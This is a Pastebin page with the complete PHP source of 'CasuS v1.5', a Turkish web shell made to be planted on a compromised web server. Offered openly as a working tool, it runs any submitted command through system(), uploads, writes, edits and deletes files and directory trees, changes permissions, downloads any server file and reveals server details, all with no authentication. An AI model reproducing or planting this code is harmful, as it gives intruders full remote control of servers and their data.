FlyFar

CasuS v1.5 Webshell

Feb 9th, 2024
151
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 13.77 KB | Cybersecurity | 0 0
  1. <?php
  2. $default=$DOCUMENT_ROOT;
  3. $this_file="./casus15.php";
  4.  
  5.  
  6.  
  7. if(isset($save)){
  8. $fname=str_replace(" ","_",$fname);
  9. $fname=str_replace("%20","_",$fname);
  10. header("Cache-control: private");
  11. header("Content-type: application/force-download");
  12. header("Content-Length: ".filesize($save));
  13. header("Content-Disposition: attachment; filename=$fname");
  14.  
  15. $fp = fopen($save, 'r');
  16. fpassthru($fp);
  17. fclose($fp);
  18. unset($save);
  19. exit;
  20. }
  21.  
  22. if ( function_exists('ini_get') ) {
  23.         $onoff = ini_get('register_globals');
  24. } else {
  25.         $onoff = get_cfg_var('register_globals');
  26. }
  27. if ($onoff != 1) {
  28.         @extract($_POST, EXTR_SKIP);
  29.         @extract($_GET, EXTR_SKIP);
  30. }
  31.  
  32.  
  33. function deltree($deldir) {
  34.         $mydir=@dir($deldir);
  35.         while($file=$mydir->read())        {
  36.                 if((is_dir("$deldir/$file")) AND ($file!=".") AND ($file!="..")) {
  37.                         @chmod("$deldir/$file",0777);
  38.                         deltree("$deldir/$file");
  39.                 }
  40.                 if (is_file("$deldir/$file")) {
  41.                         @chmod("$deldir/$file",0777);
  42.                         @unlink("$deldir/$file");
  43.                 }
  44.         }
  45.         $mydir->close();
  46.         @chmod("$deldir",0777);
  47.         echo @rmdir($deldir) ? "<center><b><font color='#0000FF'>SYLYNDY:$deldir/$file</b></font></center>" : "<center><font color=\"#ff0000\">Silinemedi:$deldir/$file</font></center>";
  48.         }
  49.  
  50. if ($op=='phpinfo'){
  51. $fonk_kap = get_cfg_var("fonksiyonlary_kapat");
  52.         echo $phpinfo=(!eregi("phpinfo",$fonk_kapat)) ? phpinfo() : "<center>phpinfo() Komutu �aly?myyiii</center>";
  53.         exit;
  54. }
  55.  
  56. if ($op=='me'){
  57. echo "<html>
  58.      <head>
  59.            <title>CEHENNEMDEN �IKAN �ILGIN T�RK</title>
  60.      </head>
  61.      <body bgcolor='#000000' text='#0000FF' link='#0000FF' vlink='#0000FF' alink='#00FF00'>
  62.      <center>Fazla s�ze gerek yok...</center>
  63.      <center><br>O yanlyz bir kovboy,<br>
  64.      <br>O cehennemden �ykan �ylgyn T�RK,<br>
  65.      <br>O bir rap manya?y,<br>
  66.      <br>O bir php coder,<br>
  67.      <br>O'nun hackten daha �ok sevdi?i tek ?ey iki hack,<br>
  68.      <br>O...<br>
  69.      <br>O'nun kim olduunu biliyorsunuz O tabiki...<br>
  70.      <br></center>";
  71.  
  72. $sayi='7';
  73. while($sayi>=1){
  74. echo "<center><font size='$sayi' color='#FFFFFF'>HACKLERIN<font color='#008000'> EFENDISI</font> <font color='#FF0000'>MAFIABOY</font> </font></center>";
  75. $sayi--;
  76. }
  77. $sayi2='1';
  78. while($sayi2<=7){
  79. echo "<center><font size='$sayi2' color='#008000'>baddog@hotmail.com</font></center>";
  80. $sayi2++;
  81. };
  82.  
  83. echo "</body>
  84.      </html>";
  85. exit;
  86. }
  87.  
  88.  
  89. echo "<html>
  90.      <head>
  91.             <title>CasuS 1.5 by MafiABoY</title>
  92.      </head>
  93.  
  94.       <body bgcolor='#000000' text='#008000' link='#00FF00' vlink='#00FF00' alink='#00FF00'>
  95.       </body>";
  96.  
  97. echo "<center><font size='+3' color='#FF0000'><b> CasuS 1.5!!! Powered by MafiABoY</b></font></center><br>
  98.      <center><font size='+2' color='#FFFFFF'>A TURKISH </font><font size='+2' color='#FF0000'>HACKER</font><br>
  99.      <br>";
  100. echo "<center><a href='./$this_file?dir=$dir'>ANA BOLUM</a></center>";
  101. echo "<br>";
  102. echo "<center><a href='./$this_file?op=phpinfo' target='_blank'>PHP INFO</a></center>";
  103. echo "<br>";
  104. echo "<center><a href='./$this_file?op=wshell&dir=$dir'>WEB SHELL</a></center>";
  105. echo "<br>
  106.      <br>
  107.      <br>";
  108. echo "<center>---><a href='./$this_file?op=me' target='_blank'>MafiABoY</a><---</center>";
  109.  
  110. echo "--------------------------------------------------------------------------------------------------------------------------------------------------------------------";
  111. echo "<div align=center>
  112.      <font size='+1' color='#0000FF'><u>Root Klas�r</u>: $DOCUMENT_ROOT</font><br>
  113.      <font size='+1'color='#0000FF'><u>CasuS 1.5'in URL'si</u>: http://$HTTP_HOST$REDIRECT_URL</font> <form method=post action=$this_file>";
  114.  
  115. if(!isset($dir)){
  116. $dir="$default";
  117. }
  118. echo "<input type=text size=60 name=dir value='$dir'>
  119. <input type=submit value='GIT'><br>
  120. </form>
  121. </div>";
  122.  
  123. if ($op=='wshell'){
  124. echo "<br><center><font size='+1' color='#FF0000'>WEBSHELL</font></center>";
  125. if (isset($ok)){
  126. if (empty($kod)){
  127. die ("<center><font color='#FF0000'>LEN MANYAK KOMUT YAZMAZSAN NE MOK Y?YNE YARAR</font><center>");
  128. }
  129. echo "<form method='Post' action='./$this_file?op=wshell&dir=$dir'>
  130.      <br>";
  131. echo "<center><input type=text size=35 name=kod value='$kod'><input type=submit name=ok value='CALISTIR'>
  132.      <br>
  133.      <br></center></form>";
  134. echo "<center><TEXTAREA rows=30 cols=85 readonly>";
  135. system("$kod");
  136. echo "</TEXTAREA></center>";
  137. exit;
  138.  
  139. } elseif (empty($ok)){
  140. echo "<form method='Post' action='./$this_file?op=wshell&dir=$dir'>
  141.      <br>";
  142. echo "<center><input type=text size=35 name=kod value='Calistirmak istediginiz komutu buraya girin'><input type=submit name=ok value='CALISTIR'>
  143.      <br>
  144.      <br></center></form>";
  145. echo "<center><TEXTAREA rows=30 cols=85></TEXTAREA></center>";
  146. exit;
  147. }
  148. }
  149.  
  150. if ($op=='up'){
  151.         $path=dir;
  152.         echo "<br><br><center><font size='+1' color='#FF0000'><b>DOSYA GONDERME</b></font></center><br>";
  153. if(isset($dy)) {
  154.  
  155. if(empty($dosya_gonder)){
  156. } else {
  157. copy ( $dosya_gonder, "$dir/$dosya_gonder_name") ? print("$dosya_gonder_name <font color='#0000FF'>kopyalandy</font><br>") : print("$dosya_gonder_name <font color='#FF0000'>kopyalanamady</font><br>");
  158. }
  159.  
  160. if(empty($dosya_gonder2)){
  161. } else {
  162. copy ( $dosya_gonder2, "$dir/$dosya_gonder2_name") ? print("$dosya_gonder2_name <font color='#0000FF'>kopyaland</font>y<br>") : print("$dosya_gonder2_name <font color='#FF0000'>kopyalanamady</font><br>");
  163. }
  164.  
  165. if(empty($dosya_gonder3)){
  166. } else {
  167. copy ( $dosya_gonder3, "$dir/$dosya_gonder3_name") ? print("$dosya_gonder3_name <font color='#0000FF'>kopyalandy</font><br>") : print("$dosya_gonder3_name <font color='#FF0000'>kopyalanamady</font><br>");
  168. }
  169.  
  170. if(empty($dosya_gonder4)){
  171. } else {
  172. copy ( $dosya_gonder4, "$dir/$dosya_gonder4_name") ? print("$dosya_gonder4_name <font color='#0000FF'>kopyalandy</font><br>") : print("$dosya_gonder4_name <font color='#FF0000'>kopyalanamady</font><br>");
  173. }
  174.  
  175. } elseif(empty($dy )) {
  176. $path=$dir;
  177. $dir = $dosya_dizin;
  178. echo "$dir";
  179. echo "<FORM  ENCTYPE='multipart/form-data' ACTION='$this_file?op=up&dir=$path' METHOD='POST'>";
  180. echo "<center><INPUT TYPE='file' NAME='dosya_gonder'></center><br>";
  181. echo "<center><INPUT TYPE='file' NAME='dosya_gonder2'></center><br>";
  182. echo "<center><INPUT TYPE='file' NAME='dosya_gonder3'></center><br>";
  183. echo "<center><INPUT TYPE='file' NAME='dosya_gonder4'></center><br>";
  184.  
  185. echo "<br><center><INPUT TYPE='SUBMIT' NAME='dy' VALUE='Dosya Yolla!'></center>";
  186. echo "</form>";
  187.  
  188.  
  189. echo "</html>";
  190. }
  191. }
  192.  
  193.  
  194. if($op=='mf'){
  195.     $path=$dir;
  196.     if(isset($dismi) && isset($kodlar)){
  197.                 $ydosya="$path/$dismi";
  198.                 if(file_exists("$path/$dismi")){
  199.                         $dos= "B�yle Bir Dosya Vardy �zerine Yazyldy";
  200.                 } else {
  201.                         $dos = "Dosya Olu?turuldu";
  202.                 }
  203.                 touch ("$path/$dismi") or die("Dosya Olu?turulamyyor");
  204.                 $ydosya2 = fopen("$ydosya", 'w') or die("Dosya yazmak i�in a�ylamyyor");
  205.                 fwrite($ydosya2, $kodlar) or die("Dosyaya yazylamyyor");
  206.                 fclose($ydosya2);
  207.                 echo "<center><font color='#0000FF'>$dos</font></center>";
  208.         } else {
  209.  
  210.         echo "<FORM METHOD='POST' ACTION='$this_file?op=mf&dir=$path'>";
  211.         echo "<center>Dosya Ysmi :<input type='text' name='dismi'></center><br>";
  212.     echo "<br>";
  213.     echo "<center>KODLAR</center><br>";
  214.     echo "<center><TEXTAREA NAME='kodlar' ROWS='19' COLS='52'></TEXTAREA></center>";
  215.         echo "<center><INPUT TYPE='submit' name='okmf' value='TAMAM'></center>";
  216.     echo "</form>";
  217.         }
  218. }
  219.  
  220. if($op=='md'){
  221.         $path=$dir;
  222.         if(isset($kismi) && isset($okmf)){
  223.                 $klas�r="$path/$kismi";
  224.                 mkdir("$klas�r", 0777) or die ("<center><font color='#0000FF'>Klas�r Olu?turulamyyor</font></center>");
  225.                 echo "<center><font color='#0000FF'>Klas�r Olu?turuldu</font></center>";
  226.         }
  227.  
  228.         echo "<FORM METHOD='POST' ACTION='$this_file?op=md&dir=$path'>";
  229.         echo "<center>Klas�r Ysmi :<input type='text' name='kismi'></center><br>";
  230.         echo "<br>";
  231.         echo "<center><INPUT TYPE='submit' name='okmf' value='TAMAM'></center>";
  232.         echo "</form>";
  233. }
  234.  
  235.  
  236. if($op=='del'){
  237. unlink("$fname");
  238. }
  239.  
  240.  
  241. if($op=='dd'){
  242.         $dir=$here;
  243.                 $deldirs=$yol;
  244.                 if(!file_exists("$deldirs")) {
  245.                         echo "<font color=\"#ff0000\">Dosya Yok</font>";
  246.                 } else {
  247.                         deltree($deldirs);
  248.                 }
  249. }
  250.  
  251.  
  252.  
  253. if($op=='edit'){
  254. $yol=$fname;
  255. $yold=$path;
  256. if (isset($ok)){
  257. $dosya = fopen("$yol", 'w') or die("Dosya A�ylamyyor");
  258. $metin=$tarea;
  259. fwrite($dosya, $metin) or die("Yazylamyyor!");
  260. fclose($dosya);
  261. echo "<center><font color='#0000FF'Dosya Ba?aryyla D�zenlendi</font></center>";
  262. } else {
  263. $path=$dir;
  264. echo "<center>D�ZENLE: $yol</center>";
  265. $dosya = fopen("$yol", 'r') or die("<center><font color='#FF0000'Dosya A�ylamyyor</font></center>");
  266. $boyut=filesize($yol);
  267. $duzen = @fread ($dosya, $boyut);
  268. echo "<form method=post action=$this_file?op=edit&fname=$yol&dir=$path>";
  269. echo "<center><TEXTAREA style='WIDTH: 476px; HEIGHT: 383px' name=tarea rows=19 cols=52>$duzen</TEXTAREA></center><br>";
  270. echo "<center><input type='Submit' value='TAMAM' name='ok'></center>";
  271. fclose($dosya);
  272. $duzen=htmlspecialchars($duzen);
  273. echo "</form>";
  274. }
  275. }
  276.  
  277. if($op=='efp2'){
  278. $fileperm=base_convert($_POST['fileperm'],8,10);
  279.         echo $msg=@chmod($dir."/".$dismi2,$fileperm) ? "<font color='#0000FF'><b>$dismi2 YSYMLY DOSYANIN</font></b>" : "<font color=\"#ff0000\">DEY?TYRYLEMEDY!!</font>";
  280.         echo " <font color='#0000FF'>CHMODU ".substr(base_convert(@fileperms($dir."/".$dismi2),10,8),-4)." OLARAK DEY?TYRYLDY</font>";
  281. }
  282.  
  283. if($op=='efp'){
  284. $izinler2=substr(base_convert(@fileperms($fname),10,8),-4);
  285. echo "<form method=post action=./$this_file?op=efp2>
  286.      <div align=center><input name='dismi2' type='text' value='$dismi' class='input' readonly>CHMOD:
  287.      <input type='text' name='fileperm' size='20' value='$izinler2' class='input'>
  288.      <input name='dir' type='hidden' value='$yol'>
  289.      <input type='submit' value='TAMAM' class='input'></div><br>
  290.      </form>";
  291.  
  292. }
  293.  
  294.  
  295. $path=$dir;
  296. if(isset($dir)){
  297. if ($dir = @opendir("$dir")) {
  298. while (($file = readdir($dir)) !== false) {
  299. if($file!="." && $file!=".."){
  300. if(is_file("$path/$file")){
  301. $disk_space=filesize("$path/$file");
  302. $kb=$disk_space/1024;
  303. $total_kb = number_format($kb, 2, '.', '');
  304. $total_kb2="Kb";
  305.  
  306.  
  307. echo "<div align=right><font face='arial' size='2' color='#C0C0C0'><b> $file</b></font> - <a href='./$this_file?save=$path/$file&fname=$file'>indir</a> - <a href='./$this_file?op=edit&fname=$path/$file&dir=$path'>d�zenle</a> - ";
  308. echo "<a href='./$this_file?op=del&fname=$path/$file&dir=$path'>sil</a> - <b>$total_kb$total_kb2</b> - ";
  309. @$fileperm=substr(base_convert(fileperms("$path/$file"),10,8),-4);
  310. echo "<a href='./$this_file?op=efp&fname=$path/$file&dismi=$file&yol=$path'><font color='#FFFF00'>$fileperm</font></a>";
  311. echo "<br></div>\n";
  312. }else{
  313. echo "<div align=left><a href='./$this_file?dir=$path/$file'>GYT></a> <font face='arial' size='3' color='#808080'> $path/$file</font> - <b>DIR</b> - <a href='./$this_file?op=dd&yol=$path/$file&here=$path'>Sil</a> - ";
  314. $dirperm=substr(base_convert(fileperms("$path/$file"),10,8),-4);
  315. echo "<font color='#FFFF00'>$dirperm</font>";
  316. echo " <br></div>\n";
  317.  
  318. }
  319. }
  320. }
  321. closedir($dir);
  322. }
  323. }
  324.  
  325.  
  326.  
  327.  
  328. echo "<center>------------------------------</center>";
  329. echo "<center><a href='./$this_file?dir=$DOCUMENT_ROOT'>Root Klas�r�ne Git</a></center>";
  330. echo "<center><a href='./$this_file?dir=/'>Linux K�k Dizinine Git</a></center>";
  331. if(file_exists("B:\\")){
  332. echo "<center><a href='./$this_file?dir=B:\\'>B:\\</a></center>";
  333. } else {}
  334. if(file_exists("C:\\")){
  335. echo "<center><a href='./$this_file?dir=C:\\'>C:\\</a></center>";
  336. } else {}
  337. if (file_exists("D:\\")){
  338.  echo "<center><a href='./$this_file?dir=D:\\'>D:\\</a></center>";
  339. } else {}
  340. if (file_exists("E:\\")){
  341.  echo "<center><a href='./$this_file?dir=E:\\'>E:\\</a></center>";
  342. } else {}
  343. if (file_exists("F:\\")){
  344.  echo "<center><a href='./$this_file?dir=F:\\'>F:\\</a></center>";
  345. } else {}
  346. if (file_exists("G:\\")){
  347.  echo "<center><a href='./$this_file?dir=G:\\'>G:\\</a></center>";
  348. } else {}
  349. if (file_exists("H:\\")){
  350.  echo "<center><a href='./$this_file?dir=H:\\'>H:\\</a></center>";
  351. } else {}
  352.  
  353.  
  354. echo "--------------------------------------------------------------------------------------------------------------------------------------------------------------------";
  355. echo "<center><font size='+1' color='#FF0000'><b>SERVER BYLGYLERY</b></font><br></center>";
  356. echo "<br><u><b>$SERVER_SIGNATURE</b></u>";
  357. echo "<b><u>Software</u>: $SERVER_SOFTWARE</b><br>";
  358. echo "<b><u>Server IP</u>: $SERVER_ADDR</b><br>";
  359. echo "<br>";
  360. echo "--------------------------------------------------------------------------------------------------------------------------------------------------------------------";
  361. echo "<center><font size='+1' color='#FF0000'><b>Y?LEMLER</b></font><br></center>";
  362. echo "<br><center><font size='4'><a href='$this_file?op=up&dir=$path'>Dosya G�nder</a></font></center>";
  363. echo "<br><center><font size='4'><a href='$this_file?op=mf&dir=$path'>Dosya Olu?tur</a></font></center>";
  364. echo "<br><center><font size='4'><a href='$this_file?op=md&dir=$path'>Klas�r Olu?tur</a></font></center>";
  365. echo "--------------------------------------------------------------------------------------------------------------------------------------------------------------------";
  366. echo "<br>
  367.      <center>T�m haklary sahibi MafiABoY'a aittir</center>";
  368. ?>
Tags: Webshell php
Add Comment
Please, Sign In to add comment